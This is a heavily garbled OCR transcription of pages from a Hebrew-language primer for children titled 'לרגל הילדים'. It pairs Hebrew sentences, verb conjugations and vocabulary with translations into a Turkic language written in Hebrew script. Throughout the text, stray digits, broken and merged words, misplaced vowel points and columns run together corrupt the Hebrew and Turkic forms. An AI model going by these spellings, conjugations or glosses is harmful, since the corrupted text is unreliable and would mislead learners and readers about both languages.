₪ | ,רע 00000 :כבב בצ בב וו
2 | | ן . .. .. .
כ | מְצוא | מְצוּאָה | נְמְצָא נְמַצְאָה נְמְצָאת)
5 % ו ג % 3 ג צאוה ּ 6 .
ו | ב | נִמְצְאִים יי | נְמְצָאות
- ה
=
. ]
= נפה,. מצא | הִמְּצָא
000% | | הַמְצָא, בְַּמְצָא
המות
לרגל הולחים
מָרֶם (= עור לא) דחי הניל .
טַרֶם ישְבבן , דחי אנלר יאטממיש אירילר , אנלר יאטמאדן אוול .
והנער טרם ְלְמַד את חקו , צוג'יק אוּרוניני דחי אונרנממיש אידי.
צוג'וק אורוניני אוגרנמדן אוול .
וני טְרֶם אשב לְאַכל , כן דחי יימָאיא אוטורממיש אידים . בן יימא יא
אוטורמדן אוול .
המָרֶם תדע + דחי בילמז מי סין 1
בּמַרֶם אָמוּת | אולממרן אוול ,
אל סָשיכ דְּבֶר בְּמרֶם תשמע , אששמנרן. אוול = (אשיטמרן אוולו
קרשיליק וירמא .
בְּמַרֶם ידע הגער מָאס בְּרְע , צוג'יק פנאיי אוכרה אירמאיא בּילמרן
אוול .
פן (= כִּי לא). הַשָמֶר-לף פן תִפָּל סאקט אול גנרינא כי. דושמָאיאסין .
הִשבָע לי פֶן תִפְגְעוּן כִּי אַתָם, נִשָבַע, אנט איטדי ;
מָנֶ , ראסט גלרי . דוקונדי) בגא אנט איריניז כּי. בגא
דוקוננמאז סיניז .
אל מִנָעוּ כו פָּן תמותוּן , אגא דוקונמאיאסיניזכּי. אולמאיאסיניז (דוקונור
| איסאגיז אולור. סיגיזו ,
28 לרגל הילרים
6 9
הָאָנשִים הַלְכו. איש ש לביתו , או כּימסאלר הר גז ננדי אבינא ניטדי .
הגבורִים חַגרוּ איש חְרְבּן ג'בבארלר הר ג גנרי קיליג'ני בוטו אוזריג
על ירבו , בא:לנדילר , (כושאנדילר) .
התּלְמִירם לְמָדו איש את הלמירלר הר גן. גנדי = אורוניני (יאבור
קו (או חקם) 1 אורוכלריני) אונרנדילר :
בּנו ! שוב איש לבית1 , אתלאנלרים ! הר נז ננדי. אביניזא דונוניז.
אשי הַמַלְחִמה הרגוּ איש אֶת אֶחיו , ג':ב אדמלריהר גז גנדי קרדשיני
(בירי ביריני) אולדורדילר .
איש אל אֶחִַיהו לא יחמלו : הר נז קרדשיני (בירי ביריני)
אניימז לר .
אבי ודורז נְפְרְרוּ איש מעל אֶחַיו , בכאם וא אקאם - בירי בירינדן
ו איירילדילר .
אַנָשִי הַמַלְחְמָה רדפו אִיש אחרי אחיו, גכ אדמלרי בירי בּירינינ ארדינדן
ו קובדולר .
אָמִי וְאָמָך לא הבירו אשה את אחותה , אנאס וא אנאג פורי בירני
5 טאנימאדילר ;
השפָחות נָבוּ אשָה מְאֶת. אַחותהּ. הלאייקלר. = בירי = בּירנרן
:-=
ב וכָלִים רובאלר וא סאגיטלר צאלרילר.
הַעַבָדִים עזרוּ איש את רעהו קוללר הר ג גנדי = הוסטונא בירי
בירינא) יארדים איטדילר .
החלמִידים לא שַמעו איש שָפַת למידלר בירי בּיריניג דיליני אשיטמדילר
רעו הו (אַגלאמדילר) .
הנבּורִים רכבו איש על סוס ג'בבארלר בירי ביריניג | אטינא
רעהו . בינדילר ;
הַמִלְכָּה וְאשַת הַנְשִיא לא הְכִירוּ מליכהוא אנאיי? קריסי הר קרי דוסטוני
אֶשָה אֶת רְעוַּתָהּ , | כירי ביריני מאנימארילר .
הנערות הָאָיָה : אוחבות אשה אֶת רעוּת ת 7 ב קיזלר בורו כיריני סב ייך
לרגל הילרים 227
אבלאדיניו נקבהו + קיוקרדשלרים ! סיו פכ עקללי אולדיגיז זירא עלם וא
מרכ אדב אוגרנדיניז וא סיזי טאנייאנלר סיזלרי מרח אידרלר . אללה
נח אילן גסטיגי עהדיני אידא אירר הָקִים) וא ביר דחי אינסאן אוולדלרי
וא ג'ומלא אנדא דירליכ נפסי אולאן טופאן סויינדן אולמזלר .. טורכילריגיג
שמאטאסיני אוורימדן דפע איילא . אללהימיז פוקראלרי מופראקדן
קאלדיריג'י דיר (ְהַקִים) . כיציכ קיזקרדשיגיז מועללימיניג אָבינדן דונדי
מי+ אושטא או שימרי גרי דונייר . אנאם יארין ייג'כ יימנימיזי בּוגון
חאדירלארי . קיזים ! סן שבת גוני ייג'גימיז יימגי חאדירלאדיג מי? בן בונון
ביר שיי האדירלמאיא קאדיר דגיל אים עקבה זירא כּפסיז אים .
צַדיק צָיון דאגי גיבי קאווי דיר נכון)דוניא יא קדר (אַבְרֶ טאיימאז .
אונלאנלרים ! איכרהאן כימסא אילן איכרהאן (שיילר+ סוולמניז . אי
אחמקלר! אללהיג' שריע תלריני חצאן פהם אירר סייו + בו פנא
קרי בו קבתתסיז אוגלאניג ג'אניני אבלשטירייר : אי אללה !
סנא ביר יינ = ייר יירלאיים . או נונדא יהודה טופראגינרא. בו
ייר יירלאניליר (שיר , הפעל). איאגים. קאיידי (מוט, קל) וא בו אוכסב
בורגייג אוורינדן ייגילדים . אללה סני סאקלאדי וא בוולא אוכסכ
בורג'דן דושדוגיגדא אולמריג'. = בו פּתאבי: ג'וואבלריני פהם. איטממדים
(אַנלאמדים) וא אנלרי ביזא אגלאטיג'י יוק דיר .. דושוניגיז, קיזלרים ,
סיז ביר כימסאייג גוזלרינדא איי אולור מי פיז אגר דיכמאיא וא טוקומאיא
בילמז איסגיו+ קיוקררשים! סן קררשיג איצון אולדורולמז סין . קיזקר
אוגלאנלר איצון אולדורולמזלר + קיזקרדשים ! כיציפ. קרדשיג' אילן
קאווגא אידמא. קיזלרים ! פגא כיציכ קיזקרדשיניזי יובורטיגיז וא אנא
ביר אלטין טאם ויראיים . סיזא אייליכ אידן כּימסאיי ואר ג'אניגיו אילן
סביגיז וא סיו דא אגא אייליכ אידיגיז. בנים קרדשים גִיבּי ארסלאנלר וא
פארסלר אַבלאיאג'ק אַבְגִ'י יוק דיר . (עשר קוללגממלט . קיזקרדשלרים !
נא איצון סיו בו חלאייק אילן קאווגא אידר סיגיז? אנאם: הצאנא קדר
פן אווריגדן אס רובאלריני דפע אידמז. סין ניעני צָזמו סין סור): סיזיג
בּיוכ קרדשיגיז ג'נכדן גרי דונינגיא קדר בּן בו יאם רובאלרימי אוזרימרן
דפע אידמם (פור) , אי יראמז: קרדשיגי נא איצון אזלדורדיג + קררשימי
סיו אולדורדיגיז, דגיל בן. סִיז. איי יולדן צווירילדיגיז. וא חיץ אוטאנמז
סיגיז (מקר ועהיהו . בן אללהא אישאגדים. וא אַבְרָן אוטאנמם - גיעני
עאייבלי אולמאם , מוראדימי ולור אים) .
6 לרגל הילדים
בָנִים זבָנִים לא ותו על אָבותֶם. זֶה חַלק אָדֶם הֶשַע יכין וצדיק ילְבָּש,
וכֶסָף - ג קי יחלק.. תִמתֶת רְשָע רַעָה; שאל לא יָרַע עמִי לא הַתְבּונָן .
אֶלְחַי: בה בָּטַחְתִּי אָ הכש רדפי ְאַל בשה אָנִי . גָּס ממצרים
תושי כּאָשַר בשת מְאַשוּד
שובו שובוּ מדרכיכם הרעים . נבונות בני כי למדת חכמה ומוסר
וכל יודעיך יהללוך . אהותךף למדה חכמה ונבונה היא מאד ואתה לא
למדת ואין לף חָלָק כבינה . בני! לא למדת חכמה ולא תוכל דַבָר נכונה.
אחותך האלמנה לא הסירה עוד את בגדי אָבְקָהּ מעליה , השפחה
שכורה גם היום: מתי תפיר את יינה מעקיה+ עד מתי לא. תפירי. את
יינ מעליף+ ער מתי , רשעים: תצודרו נפשות נקיים ז לכו והריצו. לי
כדק את החכם שלמה יפר חלומי אשר חלמתי הלילה כי פוחר
חלומות הוא.. בני: ההתבוננת מעשי יהוה + איש רשע אתה כי הַמ
איש נקי ויהוה ישיב את דמו בראשף . רשעים: למה הָמַקֶּם את נביאי
יהוה. הקדושים ? -- אם בן הוא וְהָמְתּן אתו אתמל נפלתי מעל המגדל
הגבוה אשר בתוך העיר ולא מָתִּי . אחותי בָּשָה היום מאד כי לא יכלה
קהשיב. דבר למרמדה כאשר שָאֶלָהּ את חקה . 5 נה בישה אחותי ז
אבי : בשתי מאד כי הסכלתי עַשה . יהוה ! בך בטחו אבותינו בך במהו
ולא בשו (וא אוטאנמאדילר , עאייבלי או ל יעני: ריג'אלרי בושא
גידמדי) . הנערים האלה לא למדו. חקם ולא. ידען מאומה נגם בש לא
יבושו . אל תריבו, בני !
בו ג'בּבאר פאדשאה ביזים שהרלרימיזי זאבט איטדי . או סיזיג דא
שהרלריגיוי זאבט אידר. או שהרימיזי אמשא יאקדי אניג בורג'לריני
דא יאקר . בו יראמז אושאק ביזים אלטין טאסלרימיזי אאלדי-. שימדי
זיג דא אלטין טאסלריגיזי צאלמאיא דושונייר (אמר) . אוגלום ! חכמה
וא עקל אוגרניר איסָג בּיזים רא קלמימיץ סֶביניר . קרדשיגיו פאקיר
אולדוגי איצון כור אידמיָסיו גבור אידמייסיו קררשיניזי = כּי או פאקיר
דיר). קאלק, בּבאם! וא קיויג אבלאדיני אָבדן ייא . קאלק , אנאם: ואפן
אַבלאדינים אָבִי בּבּאמי3 אונונא קויי וא ייסין . קיזלרים! קאלקיניז וא
ואריגיז וא אורמאנדא בגא אב אבלאגיז וא יים . פאדשאהימיז גיבי דוגרו
שריעת. אידן פאדשאה יוק דיר וא אניג תחתי דונייא. יא סדר קאווי
(ממללי): אולור כנכו)) . כּיב אִצְבִּי אבלאמק פארלאייג'י בּייב אַבלאמקרן
נוץ דיר. קיזלרים : אגר שו אוהמאנךא גזן ארסלאני אַבלר איפאגיז סיולר
ו שצרור
-₪--
גיבי קלבינדא קורקו (פחד) אולמאיאן קרילר יוק: דיד. נא כּו. צ
לרגל = הילדים 5
ביוכלרי (בּיו אישלרי) נקל איילא נסלי כּי אניג עזיז תורהסינדא משה
פיגמבריניג אלי אילן יאזילמיש דיר .
אֶחִירֶץְהַחוּצָה. אָגָה אְַּהרֶיץ, בָּנִי ז אַחותִי רָצָה אֶל בִּית מִלְמְרָה . אנָה
רְצָה אַחותַףּ + דוי שר היזם שירים טובים מָאד . אָמִי שָרָה שיר משירִי דורי.
אמ שָרָה שר מִשִירִידודִי הַשפחָה החוקה אֶשַר לְאָמ מַתָה אֶתַמַל. רְאִיתִי
את הַשְפּחָה וְהנָה שת מַתֶה על מְמָתָה. בנ יראל סרו מְהֶר מ
ְהוָה. אֶלקי: מִמשפָּמִי לא סרתי מנעוּרי וער הַיוּם הַזֶה. אתכל שְבְתִי
ְבִיתִי דר רְחוּקה. הַאַּ אֶחוְתִי רת אֶת השירִים אֶשר שמעְתִי מִרְחוק ז
סַרְתֶם הר מן הדָרְך . אַחי ואָבִי לא שָבוּ עור מן היער אֶשר הַלְכוּ שְמָה
לְצור עַיָר. רבת יְהוָה רִִבִי נַפְשִי. אַל" הבוּ כִי קָנָה ּנִפָך . הַהָרִים ימוּשו
ְהגְבָעת תִממִינָה וְחסדִי מאֶתְּךָ לא יָמוּש וּבְרִית שלומי לא תַמוט אָמַר
מרממך הוה | אל תָּרִיב עִם אֶרֶם חֶנֶּם אִם לא מל רעה. יִרְאֶת יְהוָה
ראשית דֶעת . הָבְמָה וּמוּפֶר אָוילים זו . אנשי רע לא יבינוּ משפט
בשי יהוה יָבִנוּ ל 2 ראש וְנָשוּבָה מִצרִימָה . שוב נָא הַבּט
מִשָמִים. וַעַפָה שוב וְלךָ בְּשלוּם. אַל האמר לְרְעך ל ושוּב וּמְחֶר אֶתן
ויש אֶֶָּּ . בַינוּ בּעְרִים בָּעַ ו וּכְסִילִים מָתי תשְבִּילוּ, בה בנותי !
למָה תִַבְנָה טי עור 1 טוב לנוּ שוב מַצְרִיָמָה ממות בִּמְרָבָר.
ִרְאַת יְהוָה היא חַכְמָה וסור מע בִּיגָה . לכי ! ותן יְהוָה אֶת אויביף
הט על ג ְגָפִים לפ הַמַמִלְכָה נָכנָה בְִַּ קלמה . לא כּון אָדֶם
+
ג"
צדל קים: זע נבון לְפניהם: - איה לעיניהםם ולרני אה!נדא דיר)
צדיק לְעוֶּם בל ימוט נָכון לכו בָּטוּח בַּיהוָה. יה בְּחכְמָה יסד אֶרִין כוגן
שמ בּתְבוגָה (מְבונָה - > תכון ִפַּלְתִי קטרת לפנ יְהיָה אֶלְהיו.
יחה בַּשָמָיִם הַבִין כְסָאו ; יוה לא יָסִיר חסדו מַעם אשר יְכְבְּדוּ אֶת שמו
הַגָרול . חַסְדִּי לא אֶסִיר מַעָמו בְּאַשָר הַסִירוְתִי מְאֶשָר היה לְפָנִיו . אל
עַמִי אֶתִי לא יָרַעו בָּנִים סְְלִים הָמָה (=הֶם) ולא נבונִים המה . זכר יָמות
(יום+ עולם בּינוּ שָנות דור דור שאל אַביך וידה זקניך ויאמרו טךָ. בּן
תּבִין אֶת אָשָר קְפנְיָ. ונתי לְכֶם לב מָרָש ורוח חָרָשָה אֶתִּן בק בכ
והְסִירוּתִי אֶת לב הָאָבן מִכְשָרְכֶם ונתי לְכֶם לב בְּשֶר. אִיך לאיתבוש
ִגָה שנור אֶתֶּה ולא תוכל לכבר; לף וחְסֶר אַת ינ מעליה . עַבָד
משָבִּיר יְמִשל בְּבן מַבִיש. מִשִיב רַעָה תַּחַת טוּבָה לא תָמוּש רְעָה מַבִיתו.
הוה שלֶם לְאִיש בְּמַעָשִיו וגמול ָדִי אדֶם ישיב לו .. והוכן בַּחַסֶר כְּפָא
וישב עלִיו בָּאָמָת בָּאחָל דר שפט וְדרָש מִשפָט. לא זמתו אבות על
וחלק. ראשון) 29
24 לרגל הילדים
לו בזקְנִיו . כִי סָכָל טר וְַבָּר עזות למְלָמָדו אִין טוב בְּעִינִי יְחוָה כְּאִיש
שב מִדּרְכָּו ִעָה. מי כ ל (שפט מַשְפּט יְתוּמִם דיב ריב
כמ ַערָה תדע להפר" ולְארוג ז מי שת מלְבָּת. תִרַחָ ָבונִים
דָלִים+ איש יְדַבָר חַלקות או ְדולות אתו לא אוכל . נעָרות לא הֶרַענָה
ארג ולתפר לא תִיטְבְנָה בַּעִינִ כָּל איש . הַים אָבִי צָד בּיָעַר נָמָר נָדול
נֶם דורי יָוּד מִחָר נָמָר דול כְּמחו . הַיום אָבִי ַד בְַּעַר נְמָר נָדוּל ודודי
גם הוא יצוד מַתֶרנָמֶרגָּדולכָּ מחו. הַיוּם אָביך צַד בער זַאָב וְאָבִי גם אַנִיצָד
אָתָמל וְאָב בָּמוּ . אִמַך שָבָה בַּבְקָר הַבִַתָה ומָתִי. תָּשוּב. ג אָמָנו
אַנְחְנוּ יז בָנִי ו אָם תלמד חמה ומוסר שמח לבִי וְַשְמַח לב אַמּךָ גַם היא.
חַרָשות רבות שַמַעתִי היום. בְּנוחִי + אל תִרִבְּרְנָה נְבוחָה גְבוְהַה. בָנִי ו
אֶל תדַברוּ בוהות . דּבּרוּ לָנוּ חָלקות . אַל ו תְדַברוּ חְלקת . נדיב
ְדִיבות יעץ. אי בַּפִ הִַּלְמִיד חוָה גְכונָה . ַפֶרֶהעָא לִי אֶת כל הגדולות
אשָר עַשֶה אֶלִישֶע .
(ש = אָשֶר)'. -- עִלֶם אוגרנמיין צוג'וקלר -- אנלר ג'היל דיר . אנלר
עקללי דגיל דיר . סא מועללימיג הד נא כּי סוולר איסא דיגלא .| בו
פקירא אליגדכי אכמב מילימיני ויר וא או סני אלגישלר . בן סני יאנימדן
בוראקמאם או וקתא קדר כּי בבּאגא מכתוב יאזר סין . בן אגזימדאכי
אבמגימי יָנְג'א קדר בגא דוקאנמאגיו . |
(אָשר יאמ ₪ אולטאמאלט - > בו זנגין בגאית קיוגאנץ דיר וא או
בוגון אכמני אולמאיאן פקיר גיבי אץ דיר . בו צוגיוק טקאתסיז דיר וא
שראב איצמיש כימסא גיבי דורא בילמז . אוגלום עלם וא טרפ אדב
אוגרנמיין כּימסא אילן גזמא . גנדיניג פנא יולונדן אוטאנמאז כימסא
גיבי פנא כּימסא יוק דיר.. בּבּאסיניג' וא אנאסיניג איילוגוני אונוטא:'ק
צוג'וק גיבי אללהיג. גוזינדא (גהלרינדא) פנא יוק דיר . סגא פנאליק
אירמיין (גמל רעה) כּימסא אילן קאוונא אידמאיאסין . אללהי סבנלר
דיכמדיכלרי בחצאלריג מייבאסיני יירלר .
שהרדאכי ייני (חבר) ני אשיטריגיז מי + בן ביוכ יאבוד כיציכ
(בּיוּ איש יאבוד כיציכ איש) אידא בילמם כּי וא) אללה בילמסין .
סן קנה בנים אנאם גיבי פאכלר (פּאפ ג'וואבלר) סוולמאיא קאדיר
אולור מי סין + אזגלום !: אוולכילרי (אוולכי אישלרי, "חאללרי אונוט וא
ביר דחי חמטרא גלמסינלר זְבָר) .. קיזים ! בא אללה. מסרדא איטדיני
לרגל הילדים
אֶתַמל מַתָה אַחוְתִי
גם אה .
הגנִָים גְְבוּ אחמל אֶת חְפְרף וְהיוּם
בו נָם אֶת בי .
הַנַנָבִים גו אֶתמל אֶת סְפֶרְיף והיום
ננְבוּ אֶת בְִּרוף גַם הֶם .
הַַנָבִים גְבוּ את בִּנִָי אֶתמל וחיום גנָבו
יר'ג את'?
ְכָל נְבְלֶח יְַבּר .
בל שמו ונְבְלֶח עמו .
לא דְבַּרְפֶּם אֶלִי. נְכונָה כַעַברּי אוב .
דַּבּר אָרונִי הָאָרץ אֶנוּ קשות .
אֶל כָּל איש דּבְּרוּ רפות .
איש בער לא יִךְע וּכְסִיל לא יבִין אֶת זאת .
רת ייה שפתי חַלְקִית לשון מֶרברֶת
גרולות .
בבות עשה לָנוּ: יהוה אֶלְחִנוּ .
לְשון עלְגִּים מּמהר לְרַבָּר צחות .
על מִשַבָּבִי בלילות בַּפָשתִּי אֶת שָאֶהָבָה נפשי
לָאלְהִים אַל. תְּאַחַר לשלמו את אֶשר תֶרר שלם .
ויו מַתֶה או
2083
דון בנים קיוקררשים גצינד
רא קיוקררשינ נצינדי .
כירסיזלר דון סניג כתאבלריני צאלרילר
בוגון רובאלריני רא צאלרילר .
כירסיזלר דון כּיתאבלריגי צאלרילר בוגון
רובאלריגי רא צאלרילר .
כירסיזלר דון בּנים רובּאלרימי צאלרילר ,
בונון סניג רא רובאלריני צאלרילר.
איכרהאן | כּימסא | איכרהאן (שיי,
איכרהאנליק) סוולר .
ארי נָבל (איכרהאן) ריר וא יאנינרא
איכרהאן (שיי , איכרהאנליק) דיר ,
בּנא קולים איוכ יי דווגון (קרשיליק ,
ג'וואבּ) סוולאמריניז .
יירינ בּנִי בּיזים אילן קאטי לר (קאטי
ג'וואבלר., יעני האריליפ) סוולאדי.
הר גזא אימשאק (ג'וואבלר , יעני פיואן)
סוולְנָיו .
אחמק כּימסא בילמז וא דלי אנלאמז בוני
(בּו אישי) .
רבּבי יאלטאק ארינלרי גאייב אירא (וא)
יוב (שיי) לר סוולאִין דילי . --
, בוגון סני
רבּבּי אללהימיו ביוא צוק (איש , אויליּ)
לר איטרי .
בּלטכלרינ דילי טביכּ פא (סוו) לר
סוולר .
כַּאָשָר תַדר נְרָר
מוב אֶשר רא תִדר
משָתִּדר ולא תשָלם | יש צַדּיקים ם אָשֶר מַגִיָע אֶלִיהֶם כּמַעָשָה הרְשָעים
ויש רְשָעִים ? שמניע אַלִיהֶם ְּמַעָשָה הצ צִדיקים . הַחַיּים ירעים שימותו
ְהַמָתִים אִינם ידעים מַאוּמָה . הַעָפַר ישוב על הָאָרֶץ כְּשֶהָיָה וְהָרוח תָשוּב
אל האֶלהים אֶשָר נִתְנָּ. אַשרִי ער יִלָמַד חַכְמָה ומוּמָר
סֶר בּנְעוּריו כי ייפ מב
222
אשְרִינָעַר יָשָמָע בְּקיל אָבָיו\ ואמ !
אשרי אָנוש יוכִיחָנו אלוחה .
אשְרִיף יְרְאַל:. מִי. בָמף. עם נושע
בִּיהוה ?
נש וולדוּ. יָקוּמו וִסַפְרוּ לְבנִיִהֶם אֶת
מָעשִי יהוה אָשָר עשָה לָנוּ .
אשָרִי שָאַל כ בְּעְֶרוּ !
אי מְִַל ל מַכָּל כנִים לה וְאִין מחויק
בר מבי לה .
הרְשעִים הַאָיֶה הרְנוּ אֶת אֶחִי וְהנֶּם
הַיוּס מְצוּדְרִים אֶת נִפְשִי גס אנ .
רשעים ! המעט מִכֶּם אָשָר הָרְנָָם את
| מלְכָּנו וְעורכֶם מִצודְרִים את נָפָש
מלְבָּתְנו נּם היא .
היו שָב אָבִי מן הַמַלְחָמָה וּמְחָר שוב
אָבִיכֶם גם אִתֶּם .
חַיוּם שָב. אֶחִיכֶם מִן הַמִלְחְמָה וּמָתַר
ישוב אָכִיכֶס נָם הוא .
אתמ" מַחָה אַחוּתְכֶם וָהיוּם מַמָה נם
אִמְכֶם .
אֶסָמל מַתָה אַחוּתף וְהִיום מְתֶח אִמֶךּ נם
חיא .
לרגל הילדים
נא מוטלו אול צוג'ונא כּי בּבאסינינ וא
אנאסינינ סווינא רינלר !
נא מוטלו אול פימסאיא פי אני אללה
אוגוטלר !
נא מוטלו סנא אי ישראל ! כּים דיר סנינ
בי ביר מיללת כי א רבּבי אילן
(רבּכי ירי אילן) חלאם אולונדי .
אונלנלר כּי דונארלר (רונאנ'ק צוג'וקלר)
קאלקרלר וא אוולו 8 רבּבי ביוא
איטריגי אישלרי נקל אידרלר .
סאן אול כּימסאוא כי יעקבינ אללחו אנינ
יאררימינדא דיר (אנא
אירר) !
ג'ומלא דוגורריני אוולרלרינרן (אוולר-
לרינינ אראסינדא) אני גודיריג'י יוק
דיר וא ג'ומלא אוסטורריני אונלנ-
יארדים
לרוניג אראסינדא אניג אלינדן
דוטוג'י יוק דיר .
בו יראמזלר קררשימי אולרורדילר , וא
אושטא אנלר בונון בנים רא ג'אנימי
אבלשטיריירלר ;
אי יראמזלר ! סיורן או .מי (סיוא או מי
רור) כּי פארשאהימיזי אולדוררי-
גוו וא רחא סיו מליכהמיזיג רא
ג'אניני אָבלְשטירייר סוניז .
בונון בּּאם ג'נפ דן גרי דונרי יארון סיוג
[ ן
רא בּפאניו דונר ,
בוגון קררשיניו ג'נכ דן רונדי , יארין
בּבאניו רא דונר .
רון קיוקררשיגיו נצינרי, בוגון אנאניו דא
גצונדי .
דון קיוקררשיג נצינרי ,
נצונדי .
בוגון אנאנ רא
מט (ימוּט) טאיירי, דְכְּרַנְרִי
0% (נפעל) טאיידי ,
דפרגרי. = קאיירי ננכון
ניג טרסי).
מש (יָמוּש) גיטדי , רפע
אולדי , איחרג' אולדו .
בּן (עתיר יְבון)) | אגלאדי. ,
פהם איטדי <> הבן.,
אנלאטדי , אגלאדי | ,
התְבּנֶן ורי יק
דיקקת אילן פיכּר איטדי ,
דיקקת אילן נזאר איטדי,
שר (עתי יָשִיר) מורכו
כוולדי . יירלאדי . שורר
ִפַּעַל) יירלאדי , טורכו
סוולדי . משוְרר, שאעיר,
ללורגו .
אַשָרִי חָעָם שככה לו אשרי
קיו .
ַּת בְּכָל ! אַָרִי שַיְשלּם לף את מל
ל
אשרי שִיאחו וְנפּץְאֶת עלְלַך אָל הפָלַע:
אֶרוּר אַשַר לא יקים אֶת דכְרִי הַתוּרֶה .
לרגל הילדים
אחז (יאחו, יאחז) דוטדי אלרי,
- נעתי יוסד , מקר. יסר,
| = וס ביסור) = טמל
איטדי .
שלם פְּעל) אוטדי .
מ פָעָל אופאטדי, קירדי .
נָהָל פֶּעל) נזדירדי .
ַחֶם (פעַלו תלת * תֶּסָללי
וירדי .
אחר פְּעָל גציכדירדי .
הג ננעו דוקאנדי, ייטָרִי ,
אויל (1) אחמק, דלי , דיוואנא.
גמול ) אוטוב , עיואז, איי
| יאפור פנא איש .
בָּרִית (1)נ*. שךם . עקר .
עול ז, יאש צוניוק .
צר 0 אבָני.
אָריָה("' אָרָוּת: כ' אָרִוּת)
= ארסלאן . ,
חָעָם שַיְהָה
221
ְבֶל. נְבְלָה , גִבָלִים ,
נבָלוּת) איכרהאן ,
איכרהאן, | כימסא .
נבל (ארם אדי) .
חֶלֶק מַלְקָה , חִלָקִים.,
חַלקות) , ג'ילאלי .
יילמאגאיי, אימשאק,
ראטלי .
רך רִכָּה. רַכִּים, רַכּות)
נאזיב, יאש. אימשאק,
צַח (צֶחָה, צָחִים, צחות)
פאב,
חנם, כירעווא , נאפילא,
בושא . טוכֶת חִנֶם ;
בירעווא אייליכ .
ָּכָה, כוולא. .
בל (== לא) דניל . בָל
ימוט טאיימאז .
נא מוטלו אול מיללתא כּי אנא כוולא ריר
(חאלי. כּוולא ריר) נא מוטלו אול
מיללתא כו אניג אללהי רְככי ריר
הוה דיר),
אי בּכל קיוי : נא מוטלו אול כּומסאיא פי
סנא כיוא איטרינין ג'וא ניג עיוא-
זיני ווריר !
נא מוטלו אול כִּימסאוא כִּי סנין יאש
צונ'וקלריני קָאפָאר וא. קאיאיא
צארפאר !
קארנישליריר אול כּימסא. כּי תורהיי
פלאמלריני
אורמן).
רור1וומאז | (אידרא
220 לרגל הילדים
קל בוש שרש)בוש אוטאנדי ,
עבר בוש , בושה ; בש , בש ; בשתי ; בָּשו , בָּשְתֶם, בָּשְתֶן ; בשנו .
עהיר ובוש , תבוש; הבוש , תבושי; אָבוש; יבושוּ. הבושוּ; תָבוּשָנָה ,
- נבוש .
- . 9% 4% י
צררי פץ, בשי בושו, ב! שֶנָה.
בינוגי בש , בושה, בושים , בושות .
מקור בוש : בּבוש, כַּבוְש וכו .
₪ בב
הפעול המית שרש מות) אולדורדי .
עבר הָמִית. המיתה המתּ, הַמת; המתי ; המיתו; | הַמַקֶם, הַמְמֶן .
עתור ומות תמית , ימתו וכו ( קוסור 8% גורונן אוזרא) .
ד ץ.
סר. נעתי יסוּר) צווירילדו ,| רב (עתי ירִיבָ) קאווגא נמר כצ) א' פארס .
רוגי 6 דוודו יהתו ָ איט י 4 1
קאיירילרי . דונדי, הַסִיר טר צבו ר צביום או צְבְאִים) .
נכו ות על י*וָר,
צוויררי, קאייררי, רִפָץ 6-7 סיגין , כָּיבּ אִיצכּי .
איטדי . הסיר אֶת ראש דוזולדי קורולרי , קאווי
פ' מָעלִיו , פ* יג אוזרינרן אולרי, טמללי אולדי , כָּסָא (כַּקָאִי, כָּסְאַף כָּסָאו,
באשיני דפע איטרי , חאדירלנדי כ ר' כַּסָאות , כָּסָאוְתִי)
יעני באשוני אלרי . (הפעיל) \ האדורלאדי. , ז' תַחְת, איסבמלא .
קורדי דוזרי , טסללי
[ ,
איטדי , כּונן פָעָל) קוררי, סְלע (1ל א') קאיא .
רץ (עת: ירוּץ) יובוררי , / ,
- 0 דוזדי . צר (14 ב') ", אב
סגירטו , הריץ . גמַל (יגְמַל) / אוטדי , טולדי
: על (3 ב') בַּלְטָּ .
גירטנ טירדי , יובוּרמֶדי . עיואז גירת . מל קד א
טומה , אייליכ = רָאשוּת, נ', אלב , באש
שב עה" יָשוּב) דונרי, גרי איטדי . גָּמַל רְעַה , איבטִירָא.בְּרָאשִית
גלרי .ד הָשיב |, גי פנאליק איטדי , ְמַלְני א יבטידא רא, אְוְַאלֶרא
דוגדוררי , השב דּבָר , טובה, בגא 7 איג באשרא,ראשית
קרשיליק וירדי , נטיררי . אימרי . חכמה ללְמִיג באשי:
כּרת (כּרֶ/ כרקי, עת' אילכי .
ב (עת'. יבוז) לפ , כור =" וכרה) גסדי, כָרַתבָּרִית יראה , ני מזא) קורק *
| איטדי , כורלאדי ; ' בור אתי, בנים אילן : שָרֶט יראת הוה , אללה
באקדי גסדי, בנים אילן עתר קורקוסו + אללהרן
% ואפּדי . הכרות (חבר ה, קורקמאק .
שד<עתי | לפח) | אבלארי בר 0 בע ': מעְרִים), - דלי '
ו
ידו ש5) . ברג די :
פוו | (פעי אב א צימרי אה מַק, ששקין/ג'אהיל.
3- ,
קרגל הילרים
[5
( ו
שמח בי גַם אָנִי ; בּגיס דא קלבים סבינסין .
בִרְכְנִי גם אָנִי אָבִי , בּבאם ! בּני רא אלנישלא .
אזר עיני: גָּם הם אין אֶפִּי | = טלרימיג דא עאיירינליני
בּראבריטדא דגיל דיר,
דּמָךָ גם אֶתֶּח , רא קאניג .
עָלִיו גָּם הא | אניג דא אוזרינא (יאכוד אוזרינדא) .
מַי עָשָה זאת + בּני (בו אישי) כּים איטרי ?
מִי ראה בִּזְאת ?+ בוניג ניבּי כו איש ניביו כים גוררי ג
אַל מְרַבְּרוּנְבוהָה, אוכס פוז . יאמור איש סוולמְיְאָפִיז .
היום שמעקי הרשה , בונון ייגי (שיי, ביר ייגי חבר) אשיטרים .
מ שמַע ְּאֶלֶה ל בונלר ניבי (בו אישלר גיבי) כּים אשיטדי ?
על אה חשכו ענִינוּ בונלר איצון (בּו בחטסיזליקלר איצון) גוולרימיז
קראררי.
אַפָּה חבש לְף ג דולות, פן גנדיגא ביוכלר (ביוכ שיילר) אראר סין
(אראייר סין) .
לא חִוְַּרְנָה הראשונות , בורוגגולר (אוולכי אולאן פסללר) סאגיניל-
מאזלר, (חטרא גלמז לר) ,
יקּם | קלקאר . יק -, קאלקסין < | | קם , וא קלקדי.:
השוב , קאיישר סין + = שב -- קאיישא סין; * וַתשָב וא קאישריג
נקום , קאלקר איז | בְקֶם -- קאלקאייק = = ונק וא קאלקדיק .
יָקִים , הורגוזור יקם , דורגוזסין . (יקם , וא דורגוזרי .
נְקיםם דורגוזור איז נְקֶם ם דורגוזאייק ותקם | וא דורגוזריק.
אָקום ואקוּ ם
אקים 4 קים
קל, מת שרש מות) אולדי .
עבר מֶת . מַתָה; מת, מתּ; מַתִי ; מתו; מַתֶם , מַתֶן; מַתְנוּ .
שיר יָמוּת , תָּמוּת ; תמות , תְמוּתִי ; יָמוּתוּ, תָמוּתוּ , תַּמוּתִינָה וכו
